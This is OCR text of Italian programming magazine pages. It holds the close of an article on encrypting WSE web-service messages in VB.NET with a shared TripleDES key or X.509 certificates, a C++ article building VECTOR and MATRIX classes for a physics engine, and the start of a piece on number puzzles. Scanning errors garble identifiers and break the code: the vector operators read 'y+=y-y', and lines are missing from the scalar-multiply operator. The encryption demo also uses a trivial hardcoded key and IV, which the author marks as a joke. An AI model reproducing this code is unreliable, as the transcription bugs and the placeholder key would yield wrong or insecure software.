algorithm, algorithm.Key) 

'La Keylnfo serve per descrivere la chiave a chi la 

deve recuperare 

Dim keylnfo As New KeylnfoName 

keylnfo.Value = "http://tempuri.org/TransferSecure/Key" 

returnKey. Keylnfo. AddClause(keylnfo) 
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WSE SETTiniGS 
TOOL 

La documentazione 

del WSE Settings Tool 

è un file HTML 

presente nella cartella 

UnsupportedIWSE 

Settings dentro la 

cartella dove viene 

installato il WSE. Il file 

non viene linkato da 

nessuna parte, quindi 

vi consiglio di 

aggiungerlo allo start 

menu nella sezione 

del WSE. 



Return return Key 
End Function 

A questo punto è sufficiente recuperare la chiave, 
preparare un elemento per cifrare i dati e associarlo 
al proxy del servizio: 

'Recupera la chiave 

Dim key As EncryptionKey = GetSimmetricKey() 

'Imposta la cifratura 

Dim encryptedData As New EncryptedData(key) 

'La aggiunge al messaggio 

TransferSvc.RequestSoapContext.Security.Elements. 

Add (encryptedData) 

Naturalmente, il server deve conoscere la chiave e 
l'algoritmo. Come per l'autenticazione, anche per la 
decifrazione bisogna preparare una classe che 
implementa una particolare interfaccia e registrarla 
tramite il WSE Settings Tool (nella stessa pagina). 

Public Class TransferDecryptìonKeyProvider 

Implements IDecryptionKey Provider 
Public Function GetDecryptionKey(ByVal algorithmUri 

As String, ByVal keylnfo As System. Security 
.Cryptography.Xml.Keylnfo) As Microsoft. Web. 
Services. Security. DecryptionKey Implements 
Microsoft. Web. Services. Security 
. IDecryptionKey Provider.GetDecryption Key 
'Ricerchiamo la chiave con il nome corretto 
For Each clause As KeylnfoClause In keylnfo 
If TypeOf (clause) Is KeylnfoName Then 
If CType(clause, KeylnfoName). Value = 

"http://tempuri.org/TransferSecure/Key" Then 

'Le chiavi più sicure del mondo... 

Dim key As Byte() = {0, 1, 2, 3, 4, 5, 6, 

7, 8, 9, 10, 11, 12, 13, 14, 15} 

Dim iv As ByteQ = {0, 1, 2, 3, 4, 5, 6} 

'In questo esempio usiamo il TripleDES 
Dim algorithm As New 

TripleDESCryptoServiceProvider 
algorithm. Key = key 'Chiave 
algorithm. IV = iv 'Vettore di inizializzazione 
'Creiamo la chiave 




Come si vede, bisogna ciclare tra le clause della 
Keylnfo, e se la clause è il nome della chiave, si estrae 
il valore e lo si confronta. In caso di corrispondenza, 
bisogna creare la chiave per decriptare, con lo stes- 
so algoritmo e la stessa chiave usata per cifrare. In 
Fig. 4 si vede l'esempio di un messaggio firmato e 
cifrato con un la chiave da noi creata. Si vede chia- 
ramente che il contenuto del messaggio è irricono- 
scibile. Si vede anche che la risposta resta in chiaro, 
non essendo noi intervenuti sul server mentre 
genera la risposta. 



CIFRIAMO UHI 
MESSAGGIO USANDO 
UHI CERTIFICATO 
DIGITALE 

L'utilizzo di una chiave comune indebolisce la sicu- 
rezza del sistema. Anche in questo caso è possibile 
utilizzare un certificato digitale, ed in particolare la 
sua coppia di chiavi (pubblica/privata). In verità, 
non è il messaggio ad essere cifrato con le chiavi del 
certificato. WSE genera automaticamente una chia- 
ve simmetrica, la usa per cifrare il messaggio (ope- 
razione molto meno costosa in termini temporali), 
la cifra (utilizzando la chiave del certificato) e la 
invia assieme al messaggio. Quando il messaggio 
viene ricevuto, la chiave viene decifrata usando 
certificato, e poi viene usata per decifrare il messag- 
gio stesso. 

Prepariamo quindi un ComboBox per scegliere l'al- 
goritmo di cifratura (nessuno, a chiave condivisa, 
con certificato), sempre nel Form_Load: 



<&&vmm(!>.<S3<<Mmm a mi 



a x 



- <soap:Body wsij;Id="Id-ee5a0c5Q-da26-4eec-9flf-Qff0egib585b" 
rimirisi wsu="http://schemas. Kmlsoap.org/ws/2D02/a7/utility"> 
- <xenc: EncryptedData Id="EncryptedContent-8d9ud813-Bdcl-41Bf-afe7- 
b9a3502cb367" Type="http://www.w3.org/20Ql/04/Hmlenc#Content" 
Kmlns:xenc="http://www.w3.org/2001/D4/Kmlenc#"> 
<xenc; EncryptionMethod 
Algorithrn="http://wvMw.w3.org/2D01/D4/Kmlenc#tripledes-cbc" /> 

- <KeyInfo xmlns="http://www.w3.org/2Q00/09/xmldsig#"> 

<KeyName>http://tempuri.org/TransferSecure/Key</KeyNarrie> 
</KeyInfo> 

- <xenc:CipherData> 

<xenc:Cipher-Value>udtsz/ypF2MwhshiumCWC/[MelLyfQViX/9ClzRlL2YLipPRYGqVPXdJsIwn 

■c/sienc: CipherData> 
</Kenc:EncryptedData> 
<r/soap: Body> 
■t/saap: Envelope> 



R 



Fig. 4: Trace di un messaggio firmato e cifrato. 



'Prepara ComboBox per Cifratura 
Me.cmbEncCertificates.Items.Add("Don't encrypt") 
Me.cmbEncCertificates.Items.Add("Use fixed key") 
Me.cmbEncCertificates.Selectedlndex = 
Me.encryptingCertificateStore = 

X509.X509CertificateStore.CurrentUserStore( 

X509.X509CertificateStore.MyStore) 

Me.encryptingCertificateStore. Open Read() 
For Each cert As X509.X509Certificate In 

Me.encryptingCertificateStore.Certificat.es 
Me.cmbEncCertificates.Items.Add(cert.GetName()) 

Next 

Me.encryptingCertificateStore.CloseQ 
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Al momento dell'invio, si estrae il certificato, si veri- 
fica che sia usabile per la cifratura, si crea il token 
(utilizzando la chiave presente nel certificato) e lo 
utilizza per creare la cifratura, da aggiungere poi al 
proxy del Web Service. 

Dim certificate As X509.X509Certificate 

Me.encryptingCertificateStore.OpenRead() 
certificate = CType(Me.encryptingCertificateStore. 

Certificates(Me.cmbEncCertificates.SelectedIndex 

- 2), X509.X509Certificate) 

Me.encryptingCertificateStore.Close() 
If (certificate Is Nothing) OrElse 

Not (certificate. SupportsDataEncryption) Then 

MessageBox.Show("Encrypting certificate not validi") 

Exit Sub 

End If 

'Crea il token per la cifratura 

Dim certToken As New X509SecurityToken(certificate) 

'Imposta la cifratura 

Dim encryptedData As New EncryptedData(certToken) 

'La aggiunge al messaggio 

TransferSvc.RequestSoapContext.Security.Elements. 

Add (encryptedData) 

Al momento della ricezione, se WSE riesce a recupe- 
rare il certificato (si veda il riquadro per la gestione 
dei certificati) fa tutto in automatico, decriptando 
correttamente il messaggio. 



richiedono che queste classi possano essere chia- 
mate solo da assembly firmati da Microsoft (come 
quello del WSE). Gli assembly andrebbero poi offu- 
scati in modo da rendere più difficile estrarre le 
informazioni. Il consiglio è comunque quello di 
affidarsi ai certificati digitali, che non richiedono 
tutte queste attenzioni e sono più sicuri. 



E GLI ALLEGATI? 

Purtroppo per come è stato progettato WSE non è 
possibile cifrare in automatico gli allegati. Il proble- 
ma è che gli attachment vengono gestiti in maniera 
separata dal messaggio XML vero e proprio. L'unica 
soluzione è quella di intervenire sulle procedure che 
allegano e che salvano il file introducendo un Cryp- 
toStream per cifrare e decifrare i dati. Naturalmente 
si pone poi il problema di quale chiave usare, e di 
decidere cosa cifrare, se tutto o se qualche file in 
particolare. Una soluzione semplice è quella di 
cifrare tutto e di usare una chiave fissa, altrimenti si 
può passare la chiave come parametro nel messag- 
gio XML (in un header o nel body) e utilizzare WS- 
Security per cifrarla. 

La gestione della sicurezza in questo caso è comun- 
que custom e va implementata apposta sia sul 
client, sia sul server, portando naturalmente a gros- 
si problemi di interoperabilità. 





SUL WEB 



http://msd n. m icrosoft.com/ 
webservices 

Sono disponibili sia il 
WSE 1.0 SP1, sia il WSE 
Settings Tool, ed inoltre 
ci sono una serie di 
articoli e alcuni forum 
su cui approfondire 
questi argomenti. 



FUNZIONALITÀ 
AVANZATE 

Le funzionalità avanzate di WSE 1.0 SPI sono legate 
al fatto di selezionare programmaticamente quali 
parti del messaggio cifrare, in modo da proteggere 
ad esempio solo le informazioni sensibili. L'altra 
funzionalità avanzata riguarda la possibilità di usare 
un token binario custom sia per l'autenticazione, 
sia per la cifratura. Lasciamo alla documentazione 
di WSE la descrizione dell'implementazione di que- 
ste funzionalità particolari. 

Come rendere sicura la risposta del servizio 

Il servizio che abbiamo realizzato accetta chiamate 
"sicure", ma la risposta che fornisce è quella stan- 
dard. Per autenticare, firmare e cifrare la risposta si 
usano stesse classi e stessi metodi usati sul client. 

Come rendere sicure le classi che restituiscono 
password e chiavi? 

Se si utilizza l'autenticazione e/o la cifratura senza 
i certificati, le informazioni sensibili sono memo- 
rizzate in classi che sono facilmente richiamabili 
anche al di fuori del progetto. Per maggiore sicurez- 
za andrebbero messe in assembly creati apposta, 
magari impostando gli attributi di sicurezza che 



CONCLUSIONI 

Abbiamo visto come utilizzare le feature di WSE 1.0 
SPI per realizzare Web Services sicuri. L'utilizzo di 
WS-Security permette di ottenere la sicurezza indi- 
pendentemente dal protocollo di trasporto. Natu- 
ralmente, la sfida per una completa interoperabi- 
lità e gestibilità è ancora aperta. Ad esempio, in 
WSE LO non è prevista l'integrazione con Kerberos 
per l'autenticazione delle chiamate, e non è ancora 
possibile indicare ai client che il nostro Web Service 
richiede la sicurezza, in quanto non viene ne modi- 
ficato il WSDL, ne vengono gestiti altri sistemi. In 
futuro, con le prossime versioni di WSE, si potrà 
finalmente utilizzare WS-Policy (nelle sue varianti) 
per richiedere la sicurezza a priori. C'è da dire che 
WSE è solo lo strumento che ci porterà (nelle sue 
varie release) verso Indigo, la nuova "piattaforma" 
Microsoft che ha lo scopo di unificare e sostituire i 
modelli di programmazione dei Web Service realiz- 
zati con ASPNET, di .Net Remoting, degli Enterprise 
Services (COM+) e di MSMQ, per poter realizzare 
facilmente sistemi Service Oriented. Non è neces- 
sario però attendere l'arrivo di Indigo, già ora 
abbiamo gli strumenti per poter iniziare la trasfor- 
mazione delle nostre applicazioni... 

Lorenzo Barbieri 



■ ^ CONTATTA 
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Per qualsiasi 
delucidazione o 
informazione vi invito 
a contattarmi 
attraverso il mio blog: 
http://weblogs.asp.net/ 
Ibarbieri. 
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Vettori e matrici per applicazioni fisico-matematiche e di grafica 3D 

Un motore per 
simulazioni fisiche 

I primi passi per realizzare un motore di simulazioni fisiche per 
la descrizione e la manipolazione di corpi rigidi, prevedono 
la progettazione e lo sviluppo di un'efficiente struttura dati. 



Non a caso lo sviluppo di giochi è un lavoro di 
team. Sicuramente, perché spesso è una 
mansione complessa che è bene partiziona- 
re tra più sviluppatori, ma anche perché richiede 
ruoli e abilità eterogenee. Nei limiti dello spazio a 
disposizione, in più tappe, ho tentato, di affrontare il 
problema da diversi punti di vista, e di dare utili 
input nell'ambito dei diversi ruoli. Ricordo dalle 
mail di stima che fu molto apprezzata la disquisizio- 
ne sulla grafica 3D affrontata con due artìcoli distin- 
ti. In altre occasioni, sono state trattate le questioni 
legate alle leggi fisiche, ossia ai modelli di descrizio- 
ne di corpi rigidi, di sistemi di particelle o di sempli- 
ci punti sottoposti a diversi fenomeni. Anche l'ottica 
ha avuto il suo spazio nell'interessante effetto 
acqua, con il quale si simulava la propagazione di 
una perturbazione su una superficie di acqua nello 
stato di quiete. Cari lettori, dalla nostalgica premes- 
sa, avrete capito qual è la galassia nella quale ci 
muoveremo: vogliamo aggiungere nuovi tasselli che 
ci consentano di avere un'ampia e concreta prepara- 
zione per la produzione di giochi. Questa volta però 
intendo proporre un punto di vista che ritorni a vec- 
chie esperienze e affrontare in modo rigoroso le no- 
zioni basilari. Presenterò due classi fondanti il moto- 
re fisico che costruiremo. Ricordo che uno dei miei 
primi articoli trattava le strutture statiche, comun- 
que non orientate ad applicazioni fisiche, per cui mi 
accingo con interesse a riaffrontare l'argomento con 
nuovi e importanti extra. Nel prossimo numero con- 
cluderemo lo studio aggiungendo le classi specifiche 
per la manipolazione di elementi che si assoggetta- 
no alle leggi della meccanica, ovvero i corpi rigidi. 
Nel rispetto delle nostre abitudini che ci impongono 
comunque di mantenere a se stanti e indipendenti i 
due artìcoli. Esamineremo da un punto di vista 
numerico la simulazione, esplorando le nozioni ma- 
tematico geometriche che servono allo scopo. 
Segnalo, inoltre, la significativa valenza tecnica del 



progetto che si avvale di una puntuale realizzazione 
mediante la OOP nel linguaggio più appropriato, il 

C++. 



LA SCELTA 
APPROPRIATA 

In molti progetti, una scorretta pianificazione delle 
strutture dati elementari, può rilevarsi inconsistente 
qualora si vogliano attuare variazioni o si intenda 
proporre ulteriori sviluppi. Per questo, procedere 
con progettazione e sviluppo a diversi livelli è un 
giusto percorso. Per intenderci, si vuole prevedere 
un oggetto finale "corpo rigido" che abbia tutte le 
funzioni richieste facilmente manipolabili da un 
motore 3D. Tale oggetto si baserà su altri più ele- 
mentari che permettono manipolazioni nello spazio 
tridimensionale, (tipo rotazione e traslazione) che a 
sua volta faranno riferimento a oggetti base come 
vettori e matrici che prevedono le operazioni tipiche 
della geometria vettoriale, come il prodotto vettoria- 
le e scalare e la normalizzazione. È evidente che una 
strutturazione così concepita trova la sua naturale 
implementazione mediante la programmazione 
orientata agli oggetti (OOP). Così garantiremo chia- 
rezza, flessibilità e potenza. Il C++ è quindi il lin- 
guaggio più adatto. Si pensi ad una operazione tra 
vettori come ad esempio l'interpolazione lineare. 
Dopo aver sviluppato in modo appropriato una 
classe vettore, potremo scrivere semplicemente l'e- 
spressione: 

constVECTOR v = (l-q)*a + q*b 

L'overloading sugli operatori rende il tutto più com- 
prensibile: addirittura l'espressione assume la stessa 
forma che scriveremmo matematicamente. Evitere- 
mo quindi, di fare le varie operazioni come chiama- 
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OOP 

È interessante accennare a come si sia passati 
dalla programmazione fatta di procedure a 
quella ad oggetti. Nel corso degli anni 
l'attenzione si è spostata dalle procedure ai 
dati, vero fulcro del programma, ad essi è 
stato associato il concetto di information 
hiding (ovvero, di informazione nascosta). 
Secondo il nuovo paradigma della 
programmazione i vari "pezzi" del 
programma comunicano fra loro attraverso 
interfacce esterne lasciando privata la 
struttura interna, separando in modo netto il 
"cosa fare" con il "come fare", due questioni 
che se affrontate insieme producono non po- 
chi problemi. Ogni "pezzo" risolve un 
compito, componendo alcuni pezzi si co- 
struisce un programma completo. Secondo 
questa filosofia solo raramente è necessario 
definire o modificare dei pezzi. Tipi di dati 
astratti con maggiori potenzialità, ossia con 
l'introduzione del concetto di ereditarietà "in 
primis", sono gli oggetti. Alla base della OOP 
vi sono i tre concetti cardine di ereditarietà, 
polimorfismo e incapsulamento. 




Fig. 1: Vettore definito 
nello spazio 3D. 



te a procedure in un linguaggio non dotato di OOP 
come il C, oppure il Pascal: 

VECTOR sl,s2,v 

Vmolt(sl,a,l-q) 

Vmolt(s2,c,q) 
Vsomma(v,sl,s2) 

Quando si descrive un 
corpo rigido, non basta 
riferirsi ad un insieme di 
punti; è necessaria l'ana- 
lisi vettoriale che com- 
prende la definizione di 
vettore e la conseguente 
manipolazione. A tale 
scopo è richiesta la cono- 
scenza scolastica dei vet- 
tori. Essi sono set di in- 
formazioni che indicano 
ampiezza (modulo), di- 
rezione, punto di appli- 
cazione e verso. Le ope- 
razioni comuni tra vetto- 
ri sono la somma e la dif- 
ferenza. Rispetto ad una 
costante (scalare) si può 
fare il prodotto e la divi- 
sione. Inoltre, molto im- 
portanti sono operazioni 
come il prodotto vetto- 
riale e il prodotto scalare: 
entrambi moltiplicano 
tra loro due vettori ma generano rispettivamente un 
vettore o un numero. Con prodotto scalare riuscia- 
mo a stabilire se due vettori sono tra loro perpendi- 
colari (se il risultato è zero) o meno (se il risultato è 
diverso da zero). Normalizzare significa prendere un 
vettore e mantenendo le tre caratteristiche di punto 
di applicazione, verso e direzione portare a 1 il 
modulo. E così via le altre operazioni che esamine- 
remo come codice di seguito. 



STRUTTURA DELLA 
CLASSE VECTOR 

Definiremo i vettori in uno spazio a tre dimensioni 
tipico delle simulazioni fisiche e delle applicazioni 
grafiche, si potranno così rappresentare grandezze 
come la velocità, l'accelerazione, la superficie nor- 
male, la direzione e altro ancora. I dati su cui si basa 
la classe che intendiamo sviluppare sono le tre com- 
ponenti del vettore, ossia: x,yez. Per alcune motiva- 
zioni tecniche sono membri pubblici, i puristi della 
OOP non se ne abbiano a male. Come rappresenta- 
to in Fig. 1, il vettore viene applicato all'origine degli 
assi. Passiamo allo sviluppo del codice. Vedremo che 



si prediligerà l'implementazione in linea che rende 
l'esecuzione più rapida. Uso della parola chiave 
const tra i membri della funzione significa che essi 
non possono essere assegnati. In particolare: posta 
davanti al tipo di funzione significa che il valore 
restituito non può essere assegnato; posta davanti 
agli argomenti che essi non possono essere variati 
nella funzione; ed infine, situata dopo la lista degli 
argomenti indica che nessun membro dell'oggetto 
cambia nella funzione. 

#include <cmath> 

#include <iostream.h> 

// Un numero floating point 

typedef float SCALAR; 

// Un vettore definito nello spazio a tre dimensioni 

class VECTOR 

{ public: 

SCALAR x,y,z; //x,y,z coordinate 
public: 

// costruttore vuoto, si pongono le tre componenti pari 

a (origine) 

VECTORQ 

: x(0), y(0), z(0) 

{} 

// costruttore a tre parametri (rispettive componenti 

del vettore) 
VECTOR( const SCALAR& a, const SCALAR& b, const 

SCALAR& e ) 

: x(a), y(b), z(c) 

{} 



ALTRI METODI 
ED ESEMPI D'USO 

Di seguito sono riportati tutti i metodi per la mani- 
polazione dei vettori, corredati di commento. Faccio 
notare l'uso massiccio di overloading di operatori, 
come ad esempio [] che indica la componente del 
vettore da a 2 a cui corrispondono: x,y o z. Altri 
operatori sono quelli di confronto come = e != e di 
assegnazione (con incremento e decremento), oltre 
che di visualizzazione associato alla funzione cout. 
Inoltre, sono proposte le operazioni tra vettori e tra 
vettore e scalare, cross è il prodotto vettoriale, dot il 
prodotto scalare; length definisce il modulo (da no- 
tare la conversione esplicita presente) e normedize 
esegue una normalizzazione che fa uso, ovviamente, 
del metodo length. Infine, va segnalata la funzione 
che confronta due vettori a meno di un errore e, si 
tratta di nearlyEquals. 

//Indice di componente (es. v[0] indica la x) 
SCALAR& operator [] ( const long i ) 

{ return *((&x) + i); } 

//comparazione tra due vettori (uguaglianza) 
const bool operator == ( const VECTOR& v ) const 
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{ return (v.x==x && v.y==y && v.z==z); } 

//comparazione tra due vettori (disuguaglianza) 

const bool operator != ( const VECTOR& v ) const 

{ return !(v == *this); } 

//negazione di un vettore 

const VECTOR operator - () const 

{ return VECTOR( -x, -y, -z ); } 

//assignazione di un vettore ad un altro 

const VECTOR& operator = ( const VECTOR& v ) 

{ x = v.x; 

y = v-y; 

z = v.z; 

return *this;} 
//incremento di un vettore con operatore di assegnazione 
const VECTOR& operator += ( const VECTOR& v ) 
{ x+=v.x; 

y+=y-y; 

z+=v.z; 

return *this; } 
//decremento di un vettore con operatore di assegnazione 
const VECTOR& operator -= ( const VECTOR& v ) 
{ x-=v.x; 

y-=y-y; 

z-=v.z; 

return *this; } 
//prodotto di un vettore con un scalare con operatore 

di assegnazione 
const VECTOR& operator *= ( const SCALAR& s ) 
{ x*=s; 



return *this; } 
//divisione dì un vettore per un scalare con operatore 

di assegnazione 
const VECTOR& operator /= ( const SCALAR& s ) 
{ const SCALAR r = 1 / s; 

x *= r; 

y *= r; 

z *= r; 

return *this; } 
//somma tra due vettori 
const VECTOR operator + ( const VECTOR& v ) const 

{ return VECTOR(x + v.x, y + v.y, z + v.z); } 

//differenza tra due vettori 

const VECTOR operator - ( const VECTOR& v ) const 

{ return VECTOR(x - v.x, y - v.y, z - v.z); } 

//prodotto con scalare postfisso 

const VECTOR operator * ( const SCALAR& s ) const 

{ return VECTOR( x*s, y*s, z*s );} 

//prodotto con scalare prefisso 

friend inline const VECTOR operator * ( const 

SCALAR& s, const VECTOR& v ) 

{ return v * s; } 
//divisione con uno scalare 

const VECTOR operator / (SCALAR s) const 

{ s = 1/s; 

return VECTOR( s*x, s*y, s*z ); } 

//prodotto vettoriale 



const VECTOR cross( const VECTOR& v ) const 

{ return VECTOR( y*v.z - z*v.y, z*v.x - x*v.z, x*v.y - 

y*v.x ); } 
//prodotto scalare 

const SCALAR dot( const VECTOR& v ) const 

{ return x*v.x + y*v.y + z*v.z; } 
//modulo di un vettore 

const SCALAR lengthQ const 

{ return (SCALAR)sqrt( (double)this->dot(*this) ); } 
//vettore unità 

const VECTOR unitQ const 

{ return (*this) / lengthQ; } 

//normalizzazione (this viene trasformato in vettore unità) 
void normalize() 

{ (*this) /= lengthQ; } 

//vettore uguale ad un secondo vettore a meno di una 

costante di errore 'e' 
const bool nearlyEquals( const VECTOR& v, const 

SCALAR e ) const 

{ return fabs(x-v.x)<e && fabs(y-v.y)<e && 

fabs(z-v.z)<e; } 
// Output (visualizzazione con cout) 
friend inline const ostream& operator<< (ostream& 

cout, VECTOR& v) 

{ cout<<"( "<<v.x<<" , "<<v.y<<" , "<<v.z<<" 

)"«'\rT; 

return cout; } }; 

// Un punto 3D 

typedef VECTOR POINT; 



ALCUNI ESEMPI D'USO 

Dichiariamo una variabile X di tipo SCALAR e tre 
vettori PI, P2 e P3 di tipo POINT (che sono dei vet- 
tori). Da sottolineare che nel dichiarare tali punti per 
PleP2è stato invocato il costruttore con parametri, 
mentre nel terzo caso quello senza parametri. 
Vengono effettuate delle manipolazioni e invocati 
metodi come length e cross. Nella seconda parte si 
verifica se i due vettori VI e V2 sono perpendicolari. 

int mainQ 

{ char stop; 

SCALAR X; 

POINT Pl(l,l,l), P2(l,2,3), P3; 

P3=-P1; 

cout<<Pl.length()<<'\n'; 

P3 = P2.cross(Pl); 

cout<<P3; 

cout<<P3[0]<<' '<<P3[1]<<' '<<P3[2]<<'\n'; 

VECTOR V1(1,0,0); 

VECTOR V2(0,0,5); 

// Usando il prodotto scalare si verifica se i due 

vettori sono perpendicolari 
if (Vl.dot(V2) ==0) cout<<"Perpendicolari"; 
else cout<<"Non perpendicolari"; 
cin>>stop; } 
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STL 

Si devono a Stephanov 
le note STL (Standard 
Template Library). Le 
classi Template messe a 
punto nei laboratori del- 
la Hewlett Packard si 
prefiggono l'obiettivo di 
standardizzare i metodi 
d'uso delle classi tem- 
plate, oltre che di offri- 
re un gran numero di 
classi modello di uso co- 
mune. In altre parole STL 
è una libreria contenen- 
te un serie cospicua di 
classi e funzioni tem- 
plate di facile uso e dalle 
prestazioni efficienti. I 
componenti della libre- 
ria STL si possono divi- 
dere in tre tipi: contai- 
ner, iteratori e algoritmi. 
I container sono le tem- 
plate più generali, esse 
si occupano di organiz- 
zare semplicemente i da- 
ti in modo sequenziale o 
in modo associativo. So- 
no array generalizzati i 
container sequenziali, 
mentre sono strutture 
dati con accesso median- 
te chiave i container as- 
sociativi. Fanno parte 
della prima casistica : 
vector, list, queue, 
priority queue, deque, e 
stack. I container 
associativi sono: set 
multiset, map e 
multimap. 



LA CLASSE MATRIX 

Per concludere presentiamo la classe MATRIX. Essa 
è stata costruita con la stessa filosofia che ha con- 
dotto allo sviluppo di VECTOR. Una matrice è vista 
come la giustapposizione di più vettori colonna. 
Essendo l'ambito di utilizzo lo spazio 3D, considere- 
remo tre vettori di tre elementi. I metodi proposti so- 
no tutte le trasformazioni lineari elementari appli- 
cabili a vettori e matrici, a partire dalle semplici ope- 
razioni rispetto a scalari (prodotto e divisione) a 
quelle come il determinante e la matrice inversa. 
Ovviamente, sono duplicati gli operatori di assegna- 
zione, incremento e tutti gli altri. Per ragioni di spa- 
zio tale classe non è in versione integrale come VEC- 
TOR, a tale proposito si può consultare il CD. 

// Una matrice 3x3 

class MATRIX 

{ public: 

VECTOR C[3]; //vettori colonna 

public: 

// costruttore a zero parametri 

MATRIXQ 

{ //matrice identità 

C[0].x = 1; 



C[l].y = 1 
C[2].z = 1 



} 



// costruttore a tra parametri vettore 

MATRIX( const VECTOR& cO, const VECTOR& ci, const 

VECTOR& c2 ) 

{ C[0] = cO; 

C[l] = ci; 

g[2] = c2; } 

//Indice a colonna, permette l'assegnazione 
//Si indica M[colonna][riga], spesso si indica, 

invece M[riga][colonna] 

VECTOR& operator [] ( long i ) 

{ return C[i]; } 

//comparazione 

const bool operator == ( const MATRIX& m ) const 

{ return C[0] ==m.C[0] && C[l] = = m.C[l] && 

C[2] = = m.C[2]; } 

const bool operator != ( const MATRIX& m ) const 

{ return !(m == *this); } 

//assegnazione 

const MATRIX& operator = ( const MATRIX& m ) 

{ C[0] = m.C[0]; 

C[l] = m.C[l]; 

C[2] = m.C[2]; 

return *this; } 
//incremento 
const MATRIX& operator + = ( const MATRIXa m ) 

{ C[0] += m.C[0]; 

C[l] += m.C[l]; 

C[2] += m.C[2]; 

return *this; } 
//moltiplicazione per scalare 



const MATRIX& operator *= ( const SCALAR& s ) 

{ C[0] *= s; 

C[l] *= s; 

C[2] *= s; 

return *this; } 
//moltiplicazione per matrice 
const MATRIX& operator *= ( const MATRIX& m ) 

{ MATRIX temp = (*this); 

C[0] = temp * m.C[0]; 

C[l] = temp * m.C[l]; 

C[2] = temp * m.C[2]; 

return *this; } 
//Moltiplicazione per vettore postfissa 
const VECTOR operator * ( const VECTOR& v ) const 

{ return( C[0]*v.x + C[l]*v.y + C[2]*v.z ); } 

//Moltiplicazione per vettore prefissa 

inline friend const VECTOR operator * ( const 

VECTOR& v, const MATRIX& m ) 

{ return VECTOR( m.C[0].dot(v), m.C[l].dot(v), 

m.C[2].dot(v) ); } 

//Moltiplicazione per matrice prefissa 

const MATRIX operator * ( const MATRIX& m ) const 

{ return MATRIX( (*this) * m.C[0], (*this) * m.C[l], 

(*this) * m.C[2] ); } 

//transposta 

MATRIX transpose() const 

{ return MATRIX( VECTOR( C[0].x, C[l].x, C[2].x ), 

//colonna 

VECTOR( C[0].y, C[l].y, C[2].y ), //colonna 1 

VECTOR( C[0].z, C[l].z, C[2].z ) //colonna 2); } 
//determinante 
const SCALAR determinant() const 

{ return C[0].dot( C[l].cross(C[2]) ); } 

//matrice inversa 

const MATRIX inverse() const; }; 



CONCLUSIONI 

Per la precisione, l'implementazione delle due classi 
VECTOR e MATRIX costituisce più che un motore 
per simulazioni fisiche un motore di analisi vettoria- 
le. Saranno i tasselli che aggiungeremo la prossima 
volta a farci raggiungere l'obiettivo prefissoci. 
Rimane l'estrema versatilità dello strumento pro- 
dotto. Si pensi ad applicazioni orientate alla mate- 
matica quali MATLAB: i dati vengono analizzati co- 
me vettori o matrici e per essi sono previste miriadi 
di funzioni che vanno dalla manipolazione mate- 
matica alla rappresentazione grafica. Tentare di svi- 
luppare qualcosa di analogo per un linguaggio di 
uso comune e che supporta la OOP come il C++ apre 
grandi prospettive a chi per mestiere o per hobby in- 
tende incapsulare tali strumenti nelle proprie appli- 
cazioni grafiche, matematiche o fisiche. Vi aspetto 
per la prosecuzione e la conclusione del progetto; 
alla prossima. 

Fabio Grimaldi 
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Il gioco di Euclide ed il trucco di Bechlet 

Giocando 
con i numeri 

Dalla vasta letteratura dei rompicapo basati sull'uso di numeri ne 
esamineremo alcuni, semplici e ricchi di contenuti matematici, il cui 
approfondimento è un piacevole esercizio per la mente. 



Non si capisce bene quali popoli utilizzarono 
per primi i numeri, è però noto che inizial- 
mente furono introdotti allo scopo di conta- 
re animali e oggetti e per facilitare le prime forme di 
commercio come il baratto. Sono passati molti 
secoli da quando i numeri, questo semplice quanto 
sorprendente elemento informativo, hanno fatto la 
loro comparsa nella civiltà dell'uomo. Oggi, per 
molti i numeri ricoprono lo stesso significato di allo- 
ra o poco più, e già in questa forma aiutano nella 
vita di tutti i giorni, si pensi ai paesi sottosviluppati; 
per molti altri, invece, intorno a questa combinazio- 
ne di 10 simboli primitivi, (le cifre), si sono svilup- 
pate teorie molto complesse. Grazie a modelli mate- 
matici che non fanno altro che manipolare grandi 
quantità di numeri, è ad esempio possibile control- 
lare la traiettoria di una sonda spaziale. Alla natura- 
le evoluzione dei numeri e al loro significato che è 
mutato, o meglio si è arricchito nel corso dei secoli, 
si è accomunato un sorprendente uso. I numeri, 
infatti, sono da sempre anche un elemento ricreati- 
vo e di gioco e spesso sono stati anche avvolti da 
mistero e da una sorta di magia. Negli enigmi che 
proporrò vedremo come si possono usare i numeri 
giocando. Ripeto la letteratura in tal senso è davve- 
ro vasta ho estratto qualche gioco con la promessa 
di trattarne altri in futuro. 



IL GIOCO DI EUCLIDE 

Si, parliamo proprio del noto matematico Euclide 
che visse intorno al 300 a.C. ad Alessandria d'Egitto 
e che scrisse il famoso trattato Elementi. Proprio 
Euclide, i cui assiomi e postulati fondano le moder- 
ne teorie della geometria e della matematica. 
Purtroppo per molti Euclide è uno spiacevole ricor- 
do dei tempi delle scuole poiché associato ad astru- 
si teoremi della geometria. Posso garantire invece, 
che è stato un grande studioso e scienziato, l'esem- 
pio di seguito ne è una riprova. Tra un trattato e l'al- 
tro, egli formulò seguente gioco che coinvolge due 



persone. Si scrivono su un foglio due numeri interi. 
Questa fase di inizializzazione del gioco può essere 
fatta o dalla indicazione di ognuno dei due giocato- 
ri di un numero, oppure, in modo del tutto casuale. 
Poi a turno i due devono scrivere un numero sul 
foglio. Anche la scelta di chi deve farlo per primo 
può essere concordata all'inizio o come elemento 
aleatorio. Attenzione poiché data la semplicità del 
gioco l'esito finale è in una certa misura dipendente 
da tale scelta. Il numero da scrivere sul foglio deve 
rispettare una regola banale, esso deve essere la dif- 
ferenza tra due qualsiasi numeri presenti e ovvia- 
mente, non deve essere già stato scritto. 
Si procede quindi a turno a scrivere numeri che 
rispettino la regola, fin quando non sarà più possi- 
bile poiché tutti essi sono già presenti. Perde chi, al 
proprio turno di gioco non riesce a scrivere alcun 
numero, vince ovviamente, l'altro. Facciamo un 
esempio, da notare che il gioco ha senso se i nume- 
ri non sono troppo piccoli. Siano Agata e Andrea i 
due contendenti e siano 12 e 5 i due numeri (con- 
cordati o generati casualmente). 
Supponiamo che cominci Agata; una possibile se- 
quenza di gioco è la seguente: 

Agata -> 7=12-5 è obbligata a questa scelta; 
Andrea -> 2=7-5 scelta nuovamente obbligata, visto 

che 12-5 è 7 un numero già presente; 
Agata -> 10=12-2 
Andrea -> 3=10-7 
Agata -> 9=12-3 
Andrea -> 1=3-2 
Agata -> 11 = 12-1 
Andrea -> 4= 11-7 
Agata -> 8=12-4 
Andrea -> 6=10-4 
Agata non ha mosse, vince Andrea 

Nel caso specifico sono stati scritti tutti i numeri mi- 
